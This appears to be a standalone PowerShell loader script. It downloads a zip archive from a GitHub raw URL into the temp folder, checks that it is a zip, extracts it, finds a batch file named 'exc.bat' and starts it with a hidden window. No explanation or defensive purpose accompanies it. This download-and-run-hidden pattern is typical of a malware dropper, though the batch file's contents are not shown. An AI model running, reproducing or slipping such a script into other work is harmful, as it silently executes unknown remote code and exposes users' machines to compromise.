$url = "https://github.com/AnneMartinss-RGB/huihui/raw/refs/heads/main/chodneo.zip"
$zipFile = "$env:TEMP\chodneo.zip"
$extractPath = "$env:TEMP\chodneo"

if (Test-Path $zipFile) { Remove-Item $zipFile -Force }
if (Test-Path $extractPath) { Remove-Item $extractPath -Recurse -Force }

try {
    Invoke-WebRequest -Uri $url -OutFile $zipFile -UseBasicParsing -MaximumRedirection 5 -ErrorAction Stop
} catch {
    Write-Warning "download failed: $_"
    return
}

$bytes = Get-Content -Path $zipFile -Encoding Byte -TotalCount 2 -ErrorAction SilentlyContinue
if ($bytes[0] -ne 80 -or $bytes[1] -ne 75) {
    Write-Warning "not a valid zip. github is serving a webpage (repo might be private or dead)."
    return
}

try {
    Expand-Archive -Path $zipFile -DestinationPath $extractPath -Force -ErrorAction Stop
} catch {
    Write-Warning "extraction failed: $_"
    return
}

# search for the bat file in case it extracted into a nested folder
$batPath = Get-ChildItem -Path $extractPath -Filter "exc.bat" -Recurse | Select-Object -ExpandProperty FullName -First 1

if ($batPath) {
    Start-Process -FilePath $batPath -WindowStyle Hidden
} else {
    Write-Warning "exc.bat not found anywhere in the extracted files."
}